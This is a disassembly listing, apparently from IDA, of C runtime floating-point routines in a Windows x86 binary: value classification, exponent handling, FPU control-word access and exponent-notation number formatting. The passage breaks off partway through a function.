cmp [ebp+var_4], 1
jz short loc_426D2E
cmp [ebp+var_4], 1
jle short loc_426D46
cmp [ebp+var_4], 3
jle short loc_426D3B
jmp short loc_426D46
; ---------------------------------------------------------------------------
loc_426D2E: ; CODE XREF: sub_426D10+Ej
call sub_4248A0
mov dword ptr [eax], 21h
jmp short loc_426D46
; ---------------------------------------------------------------------------
loc_426D3B: ; CODE XREF: sub_426D10+1Aj
call sub_4248A0
mov dword ptr [eax], 22h
loc_426D46: ; CODE XREF: sub_426D10+14j
; sub_426D10+1Cj ...
mov esp, ebp
pop ebp
retn
sub_426D10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426D50 proc near ; CODE XREF: sub_426C70+Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_426D66
; ---------------------------------------------------------------------------
loc_426D5D: ; CODE XREF: sub_426D50:loc_426D87j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_426D66: ; CODE XREF: sub_426D50+Bj
cmp [ebp+var_4], 1Bh
jge short loc_426D89
mov ecx, [ebp+var_4]
mov edx, dword_451930[ecx*8]
cmp edx, [ebp+arg_0]
jnz short loc_426D87
mov eax, [ebp+var_4]
mov eax, off_451934[eax*8]
jmp short loc_426D8B
; ---------------------------------------------------------------------------
loc_426D87: ; CODE XREF: sub_426D50+29j
jmp short loc_426D5D
; ---------------------------------------------------------------------------
loc_426D89: ; CODE XREF: sub_426D50+1Aj
xor eax, eax
loc_426D8B: ; CODE XREF: sub_426D50+35j
mov esp, ebp
pop ebp
retn
sub_426D50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426D90 proc near ; CODE XREF: sub_426290+4Ap
; .nsp0:004263B2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and eax, 20h
test eax, eax
jz short loc_426DA7
mov [ebp+var_4], 5
jmp short loc_426DFA
; ---------------------------------------------------------------------------
loc_426DA7: ; CODE XREF: sub_426D90+Cj
mov ecx, [ebp+arg_0]
and ecx, 8
test ecx, ecx
jz short loc_426DBA
mov [ebp+var_4], 1
jmp short loc_426DFA
; ---------------------------------------------------------------------------
loc_426DBA: ; CODE XREF: sub_426D90+1Fj
mov edx, [ebp+arg_0]
and edx, 4
test edx, edx
jz short loc_426DCD
mov [ebp+var_4], 2
jmp short loc_426DFA
; ---------------------------------------------------------------------------
loc_426DCD: ; CODE XREF: sub_426D90+32j
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_426DE0
mov [ebp+var_4], 3
jmp short loc_426DFA
; ---------------------------------------------------------------------------
loc_426DE0: ; CODE XREF: sub_426D90+45j
mov ecx, [ebp+arg_0]
and ecx, 2
test ecx, ecx
jz short loc_426DF3
mov [ebp+var_4], 4
jmp short loc_426DFA
; ---------------------------------------------------------------------------
loc_426DF3: ; CODE XREF: sub_426D90+58j
mov [ebp+var_4], 0
loc_426DFA: ; CODE XREF: sub_426D90+15j
; sub_426D90+28j ...
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_426D90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426E10 proc near ; CODE XREF: .nsp0:00426EA9p
; sub_426F80+ECp ...
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov dword ptr [ebp+var_C], eax
mov ecx, [ebp+arg_4]
mov dword ptr [ebp+var_C+4], ecx
mov edx, [ebp+arg_8]
add edx, 3FEh
mov [ebp+var_4], edx
mov eax, [ebp+arg_4+2]
and eax, 0FFFFh
and eax, 800Fh
mov ecx, [ebp+var_4]
shl ecx, 4
or eax, ecx
mov word ptr [ebp+var_C+6], ax
fld [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_426E10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+0Eh]
and eax, 0FFFFh
and eax, 7FF0h
sar eax, 4
mov [ebp-4], ax
mov cx, [ebp-4]
sub cx, 3FEh
mov [ebp-4], cx
movsx eax, word ptr [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+0Eh]
and eax, 0FFFFh
and eax, 7FF0h
sar eax, 4
movsx ecx, ax
mov edx, [ebp+10h]
lea eax, [ecx+edx-3FEh]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_426E10
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+8]
mov [ebp-8], eax
mov ecx, [ebp+0Ch]
mov [ebp-4], ecx
mov edx, [ebp+0Eh]
and edx, 0FFFFh
and edx, 800Fh
mov eax, [ebp+10h]
shl eax, 4
or edx, eax
mov [ebp-2], dx
fld qword ptr [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426F00 proc near ; CODE XREF: sub_41CCD0+3Fp
; sub_41CEF0+3Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_4], 7FF00000h
jnz short loc_426F19
cmp [ebp+arg_0], 0
jnz short loc_426F19
mov eax, 1
jmp short loc_426F7A
; ---------------------------------------------------------------------------
loc_426F19: ; CODE XREF: sub_426F00+Aj
; sub_426F00+10j
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_426F2F
cmp [ebp+arg_0], 0
jnz short loc_426F2F
mov eax, 2
jmp short loc_426F7A
; ---------------------------------------------------------------------------
loc_426F2F: ; CODE XREF: sub_426F00+20j
; sub_426F00+26j
mov eax, [ebp+arg_4+2]
and eax, 0FFFFh
and eax, 7FF8h
cmp eax, 7FF8h
jnz short loc_426F4A
mov eax, 3
jmp short loc_426F7A
; ---------------------------------------------------------------------------
loc_426F4A: ; CODE XREF: sub_426F00+41j
mov ecx, [ebp+arg_4+2]
and ecx, 0FFFFh
and ecx, 7FF8h
cmp ecx, 7FF0h
jnz short loc_426F78
mov edx, [ebp+arg_4]
shl edx, 0Dh
test edx, edx
jnz short loc_426F71
cmp [ebp+arg_0], 0
jz short loc_426F78
loc_426F71: ; CODE XREF: sub_426F00+69j
mov eax, 4
jmp short loc_426F7A
; ---------------------------------------------------------------------------
loc_426F78: ; CODE XREF: sub_426F00+5Fj
; sub_426F00+6Fj
xor eax, eax
loc_426F7A: ; CODE XREF: sub_426F00+17j
; sub_426F00+2Dj ...
pop ebp
retn
sub_426F00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_426F80(double,int)
sub_426F80 proc near ; CODE XREF: sub_4268F0+239p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
fld [ebp+arg_0]
fcomp dbl_438198
fnstsw ax
test ah, 40h
jz short loc_426FB0
mov dword ptr [ebp+var_C], 0
mov dword ptr [ebp+var_C+4], 0
mov [ebp+var_4], 0
jmp loc_4270AA
; ---------------------------------------------------------------------------
loc_426FB0: ; CODE XREF: sub_426F80+14j
mov eax, dword ptr [ebp+arg_0+6]
and eax, 0FFFFh
and eax, 7FF0h
test eax, eax
jnz loc_427079
mov ecx, dword ptr [ebp+arg_0+4]
shl ecx, 0Ch
test ecx, ecx
jnz short loc_426FD9
cmp dword ptr [ebp+arg_0], 0
jz loc_427079
loc_426FD9: ; CODE XREF: sub_426F80+4Dj
mov [ebp+var_4], 0FFFFFC03h
fld [ebp+arg_0]
fcomp dbl_438198
fnstsw ax
test ah, 1
jz short loc_426FF9
mov [ebp+var_14], 1
jmp short loc_427000
; ---------------------------------------------------------------------------
loc_426FF9: ; CODE XREF: sub_426F80+6Ej
mov [ebp+var_14], 0
loc_427000: ; CODE XREF: sub_426F80+77j
mov edx, [ebp+var_14]
mov [ebp+var_10], edx
loc_427006: ; CODE XREF: sub_426F80+C3j
mov eax, dword ptr [ebp+arg_0+6]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jnz short loc_427045
mov ecx, dword ptr [ebp+arg_0+4]
shl ecx, 1
mov dword ptr [ebp+arg_0+4], ecx
mov edx, dword ptr [ebp+arg_0]
and edx, 80000000h
test edx, edx
jz short loc_427032
mov eax, dword ptr [ebp+arg_0+4]
or al, 1
mov dword ptr [ebp+arg_0+4], eax
loc_427032: ; CODE XREF: sub_426F80+A8j
mov ecx, dword ptr [ebp+arg_0]
shl ecx, 1
mov dword ptr [ebp+arg_0], ecx
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_427006
; ---------------------------------------------------------------------------
loc_427045: ; CODE XREF: sub_426F80+93j
mov ax, word ptr [ebp+arg_0+6]
and ax, 0FFEFh
mov word ptr [ebp+arg_0+6], ax
cmp [ebp+var_10], 0
jz short loc_427062
mov cx, word ptr [ebp+arg_0+6]
or ch, 80h
mov word ptr [ebp+arg_0+6], cx
loc_427062: ; CODE XREF: sub_426F80+D5j
push 0
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax
call sub_426E10
add esp, 0Ch
fstp [ebp+var_C]
jmp short loc_4270AA
; ---------------------------------------------------------------------------
loc_427079: ; CODE XREF: sub_426F80+3Fj
; sub_426F80+53j
push 0
mov ecx, dword ptr [ebp+arg_0+4]
push ecx
mov edx, dword ptr [ebp+arg_0]
push edx
call sub_426E10
add esp, 0Ch
fstp [ebp+var_C]
mov eax, dword ptr [ebp+arg_0+6]
and eax, 0FFFFh
and eax, 7FF0h
sar eax, 4
movsx ecx, ax
sub ecx, 3FEh
mov [ebp+var_4], ecx
loc_4270AA: ; CODE XREF: sub_426F80+2Bj
; sub_426F80+F7j
mov edx, [ebp+arg_8]
mov eax, [ebp+var_4]
mov [edx], eax
fld [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_426F80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4270C0 proc near ; CODE XREF: sub_426420+171p
var_4 = word ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fstsw [ebp+var_4]
movsx eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4270C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4270E0 proc near ; CODE XREF: sub_426420+349p
var_4 = word ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fnstsw [ebp+var_4]
fnclex
movsx eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4270E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427100 proc near ; CODE XREF: sub_41CCD0+11p
; sub_41CCD0+67p ...
var_8 = word ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
fstcw [ebp+var_8]
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
movsx ecx, [ebp+var_8]
mov edx, [ebp+arg_4]
not edx
and ecx, edx
or eax, ecx
mov [ebp+var_4], ax
fldcw [ebp+var_4]
movsx eax, [ebp+var_8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_427100 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427140 proc near ; CODE XREF: sub_4268F0+25p
; sub_4268F0+50p ...
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_42715D
fld tbyte_451A30
fistp [ebp+var_C]
wait
loc_42715D: ; CODE XREF: sub_427140+11j
mov ecx, [ebp+arg_0]
and ecx, 8
test ecx, ecx
jz short loc_427177
fstsw ax
fld tbyte_451A30
fstp [ebp+var_8]
wait
fstsw ax
loc_427177: ; CODE XREF: sub_427140+25j
mov edx, [ebp+arg_0]
and edx, 10h
test edx, edx
jz short loc_42718B
fld tbyte_451A3C
fstp [ebp+var_8]
wait
loc_42718B: ; CODE XREF: sub_427140+3Fj
mov eax, [ebp+arg_0]
and eax, 4
test eax, eax
jz short loc_42719E
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_42719E: ; CODE XREF: sub_427140+53j
mov ecx, [ebp+arg_0]
and ecx, 20h
test ecx, ecx
jz short loc_4271AE
fldpi
fstp [ebp+var_8]
wait
loc_4271AE: ; CODE XREF: sub_427140+66j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_427140 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4271C0 proc near ; CODE XREF: sub_41CE10+15p
; .nsp0:0042CF15p
push ebp
mov ebp, esp
push 30000h
push 10000h
call sub_42CEE0
add esp, 8
pop ebp
retn
sub_4271C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4271E0 proc near ; CODE XREF: sub_427240:loc_427279p
var_1C = dword ptr -1Ch
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov dword ptr [ebp+var_18], 80000000h
mov dword ptr [ebp+var_18+4], 4147FFFFh
mov dword ptr [ebp+var_8], 0C0000000h
mov dword ptr [ebp+var_8+4], 4150017Eh
fld [ebp+var_8]
fdiv [ebp+var_18]
fmul [ebp+var_18]
fsubr [ebp+var_8]
fstp [ebp+var_10]
fld [ebp+var_10]
fcomp dbl_437CF8
fnstsw ax
test ah, 41h
jnz short loc_42722D
mov [ebp+var_1C], 1
jmp short loc_427234
; ---------------------------------------------------------------------------
loc_42722D: ; CODE XREF: sub_4271E0+42j
mov [ebp+var_1C], 0
loc_427234: ; CODE XREF: sub_4271E0+4Bj
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4271E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427240 proc near ; CODE XREF: sub_41CE10+Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
push offset aKernel32 ; "KERNEL32"
call dword_4F1358 ; GetModuleHandleA
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_427279
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
mov eax, [ebp+var_4]
push eax
call dword_4F1378 ; GetProcAddress
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_427279
push 0
call [ebp+var_8]
jmp short loc_42727E
; ---------------------------------------------------------------------------
loc_427279: ; CODE XREF: sub_427240+18j
; sub_427240+30j
call sub_4271E0
loc_42727E: ; CODE XREF: sub_427240+37j
mov esp, ebp
pop ebp
retn
sub_427240 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427290 proc near ; CODE XREF: sub_422D70+6CFp
; DATA XREF: sub_41CE50+21o ...
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
push ecx
call sub_41E550
add esp, 4
cmp eax, 65h
jz short loc_4272F0
loc_4272AA: ; CODE XREF: sub_427290+5Ej
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
cmp dword_4516A8, 1
jle short loc_4272D2
push 4
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
push ecx
call sub_421E50
add esp, 8
mov [ebp+var_C], eax
jmp short loc_4272EA
; ---------------------------------------------------------------------------
loc_4272D2: ; CODE XREF: sub_427290+2Aj
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov ecx, off_45149C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_C], edx
loc_4272EA: ; CODE XREF: sub_427290+40j
cmp [ebp+var_C], 0
jnz short loc_4272AA
loc_4272F0: ; CODE XREF: sub_427290+18j
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_8], cl
mov edx, [ebp+arg_0]
mov al, byte_4516AC
mov [edx], al
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_42730B: ; CODE XREF: sub_427290+A2j
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ebp+var_4], al
mov ecx, [ebp+arg_0]
mov dl, [ebp+var_8]
mov [ecx], dl
mov al, [ebp+var_4]
mov [ebp+var_8], al
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
test edx, edx
jnz short loc_42730B
mov esp, ebp
pop ebp
retn
sub_427290 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427340 proc near ; CODE XREF: sub_422D70+6F1p
; DATA XREF: sub_41CE50+Do ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_427344: ; CODE XREF: sub_427340+28j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42736A
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
movsx ecx, byte_4516AC
cmp eax, ecx
jz short loc_42736A
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp short loc_427344
; ---------------------------------------------------------------------------
loc_42736A: ; CODE XREF: sub_427340+Cj
; sub_427340+1Dj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
test ecx, ecx
jz loc_427413
loc_427381: ; CODE XREF: sub_427340+6Aj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_4273AC
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 65h
jz short loc_4273AC
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 45h
jz short loc_4273AC
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_427381
; ---------------------------------------------------------------------------
loc_4273AC: ; CODE XREF: sub_427340+49j
; sub_427340+54j ...
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
sub edx, 1
mov [ebp+arg_0], edx
loc_4273BB: ; CODE XREF: sub_427340+8Fj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jnz short loc_4273D1
mov edx, [ebp+arg_0]
sub edx, 1
mov [ebp+arg_0], edx
jmp short loc_4273BB
; ---------------------------------------------------------------------------
loc_4273D1: ; CODE XREF: sub_427340+84j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
movsx edx, byte_4516AC
cmp ecx, edx
jnz short loc_4273EB
mov eax, [ebp+arg_0]
sub eax, 1
mov [ebp+arg_0], eax
loc_4273EB: ; CODE XREF: sub_427340+A0j
; sub_427340+D1j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
test eax, eax
jz short loc_427413
jmp short loc_4273EB
; ---------------------------------------------------------------------------
loc_427413: ; CODE XREF: sub_427340+3Bj
; sub_427340+CFj
mov esp, ebp
pop ebp
retn
sub_427340 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427420 proc near ; DATA XREF: sub_41CE50+2Bo
; .nsp0:off_451A58o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fcomp dbl_438198
fnstsw ax
test ah, 1
jnz short loc_42743F
mov [ebp+var_4], 1
jmp short loc_427446
; ---------------------------------------------------------------------------
loc_42743F: ; CODE XREF: sub_427420+14j
mov [ebp+var_4], 0
loc_427446: ; CODE XREF: sub_427420+1Dj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_427420 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427450 proc near ; CODE XREF: sub_424CA0+1138p
; DATA XREF: sub_41CE50+17o ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_0], 0
jz short loc_42747C
mov eax, [ebp+arg_8]
push eax
lea ecx, [ebp+var_8]
push ecx
call sub_42DA10
add esp, 8
mov edx, [ebp+arg_4]
mov eax, [ebp+var_8]
mov [edx], eax
mov ecx, [ebp+var_4]
mov [edx+4], ecx
jmp short loc_427494
; ---------------------------------------------------------------------------
loc_42747C: ; CODE XREF: sub_427450+Aj
mov edx, [ebp+arg_8]
push edx
lea eax, [ebp+var_C]
push eax
call sub_42DA90
add esp, 8
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_C]
mov [ecx], edx
loc_427494: ; CODE XREF: sub_427450+2Aj
mov esp, ebp
pop ebp
retn
sub_427450 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4274A0 proc near ; CODE XREF: sub_427930+1Fp
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 2Ch
lea eax, [ebp+var_14]
mov [ebp+var_4], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_42DBD0
add esp, 10h
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_8]
add ecx, 1
push ecx
mov edx, [ebp+var_4]
xor eax, eax
cmp dword ptr [edx], 2Dh
setz al
mov ecx, [ebp+arg_4]
add ecx, eax
xor edx, edx
cmp [ebp+arg_8], 0
setnle dl
add ecx, edx
push ecx
call sub_42DAD0
add esp, 0Ch
push 0
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_427520
add esp, 14h
mov eax, [ebp+arg_4]
mov esp, ebp
pop ebp
retn
sub_4274A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427520 proc near ; CODE XREF: sub_4274A0+67p
; sub_427840+9Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 8
movsx eax, [ebp+arg_10]
test eax, eax
jz short loc_427557
mov ecx, [ebp+arg_C]
xor edx, edx
cmp dword ptr [ecx], 2Dh
setz dl
mov eax, [ebp+arg_0]
add eax, edx
mov [ebp+var_4], eax
xor ecx, ecx
cmp [ebp+arg_4], 0
setnle cl
push ecx
mov edx, [ebp+var_4]
push edx
call sub_427990
add esp, 8
loc_427557: ; CODE XREF: sub_427520+Cj
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 2Dh
jnz short loc_427574
mov edx, [ebp+var_4]
mov byte ptr [edx], 2Dh
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_427574: ; CODE XREF: sub_427520+43j
cmp [ebp+arg_4], 0
jle short loc_427598
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov al, byte_4516AC
mov [edx], al
loc_427598: ; CODE XREF: sub_427520+58j
push offset aE000 ; "e+000"
mov ecx, [ebp+var_4]
add ecx, [ebp+arg_4]
movsx edx, [ebp+arg_10]
neg edx
sbb edx, edx
inc edx
add ecx, edx
push ecx
call sub_41C300
add esp, 8
mov [ebp+var_4], eax
cmp [ebp+arg_8], 0
jz short loc_4275C6
mov eax, [ebp+var_4]
mov byte ptr [eax], 45h
loc_4275C6: ; CODE XREF: sub_427520+9Ej
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_C]
mov eax, [edx+0Ch]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jz loc_42767F
mov edx, [ebp+arg_C]
mov eax, [edx+4]
sub eax, 1
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jge short loc_427601
mov ecx, [ebp+var_8]
neg ecx
mov [ebp+var_8], ecx
mov edx, [ebp+var_4]
mov byte ptr [edx], 2Dh
loc_427601: ; CODE XREF: sub_427520+D1j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 64h
jl short loc_427635
mov eax, [ebp+var_8]
cdq
mov ecx, 64h
idiv ecx
mov edx, [ebp+var_4]
mov cl, [edx]
add cl, al
mov edx, [ebp+var_4]
mov [edx], cl
mov eax, [ebp+var_8]
cdq
mov ecx, 64h
idiv ecx
mov [ebp+var_8], edx
loc_427635: ; CODE XREF: sub_427520+EEj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
cmp [ebp+var_8], 0Ah
jl short loc_427669
mov eax, [ebp+var_8]
cdq
mov ecx, 0Ah
idiv ecx
mov edx, [ebp+var_4]
mov cl, [edx]
add cl, al
mov edx, [ebp+var_4]
mov [edx], cl
mov eax, [ebp+var_8]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+var_8], edx
loc_427669: ; CODE XREF: sub_427520+122j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
add cl, byte ptr [ebp+var_8]
mov edx, [ebp+var_4]
mov [edx], cl
loc_42767F: ; CODE XREF: sub_427520+BBj
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_427520 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427690 proc near ; CODE XREF: sub_427930+3Bp
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
lea eax, [ebp+var_14]
mov [ebp+var_4], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_42DBD0
add esp, 10h
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_8]
add edx, [ecx+4]
push edx
mov eax, [ebp+var_4]
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
mov edx, [ebp+arg_4]
add edx, ecx
push edx
call sub_42DAD0
add esp, 0Ch
push 0
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_427700
add esp, 10h
mov eax, [ebp+arg_4]
mov esp, ebp
pop ebp
retn
sub_427690 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427700 proc near ; CODE XREF: sub_427690+5Bp
; sub_427840+D9p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
sub ecx, 1
mov [ebp+var_8], ecx
movsx edx, [ebp+arg_C]
test edx, edx
jz short loc_427753
mov eax, [ebp+arg_8]
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
mov edx, [ebp+arg_0]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_4]
jnz short loc_427753
mov ecx, [ebp+var_4]
